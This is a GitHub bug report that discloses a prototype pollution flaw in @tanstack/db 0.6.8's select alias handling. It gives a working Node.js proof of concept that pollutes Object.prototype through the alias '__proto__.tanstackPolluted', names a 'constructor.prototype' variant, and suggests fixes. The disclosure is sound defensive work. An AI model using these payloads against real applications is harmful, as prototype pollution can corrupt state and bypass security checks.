Skip to content

Prototype Pollution via queryOnce().select() Alias Handling #1584

@Dremig

Description

@Dremig
  • I've validated the bug against the latest version of DB packages

Describe the bug

@tanstack/db is vulnerable to prototype pollution through public query APIs.

The root package entry exports queryOnce, createCollection, and localOnlyCollectionOptions. A caller can pass an alias containing prototype-pollution path segments to select(), such as __proto__.tanstackPolluted.

During query compilation, src/query/compiler/select.ts processes select aliases as dot-separated nested paths. The alias is split with alias.split('.'), and each segment is used to build nested objects in the query result. Dangerous segments such as __proto__, constructor, and prototype are not filtered. When the first segment is __proto__, the write cursor can resolve to Object.prototype, causing the next assignment to pollute the global object prototype.

To Reproduce

const {
  createCollection,
  localOnlyCollectionOptions,
  queryOnce
} = require('@tanstack/db');

(async () => {
  delete Object.prototype.tanstackPolluted;

  const users = createCollection(
    localOnlyCollectionOptions({
      id: 'poc',
      getKey: r => r.id,
      initialData: [
        { id: 1, name: 'Alice' }
      ]
    })
  );

  await users.preload();

  await queryOnce(q =>
    q
      .from({ users })
      .select(({ users }) => ({
        '__proto__.tanstackPolluted': users.name
      }))
  );

  console.log(({}).tanstackPolluted);

  delete Object.prototype.tanstackPolluted;
})();

Steps:

  1. Install @tanstack/db@0.6.8.
  2. Run the JavaScript snippet above with Node.js.
  3. Observe the output.

Actual output:

Alice

Expected behavior

The query result construction should not modify Object.prototype.

The output should be:

undefined

Aliases containing dangerous prototype-pollution segments should either be rejected or handled as safe literal field names.

Screenshots

Not applicable.

Desktop (please complete the following information):

  • OS: macOS
  • Browser: Not applicable
  • Version: Node.js runtime

Smartphone (please complete the following information):

Not applicable.

Additional context

Affected package/version:

@tanstack/db@0.6.8

Affected source area:

src/query/compiler/select.ts

The issue appears to be in alias handling inside select result construction. processNonMergeOp treats aliases as nested paths by splitting on . and writing each segment into the result object. Since prototype-pollution primitives are not blocked, aliases like the following can write to shared prototypes:

__proto__.tanstackPolluted
constructor.prototype.tanstackPolluted

Suggested mitigation:

  • Reject alias path segments equal to __proto__, prototype, or constructor.
  • Avoid descending through inherited properties while constructing result objects.
  • Use Object.create(null) for intermediate result containers where appropriate.
  • Use own-property checks before reusing nested objects.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions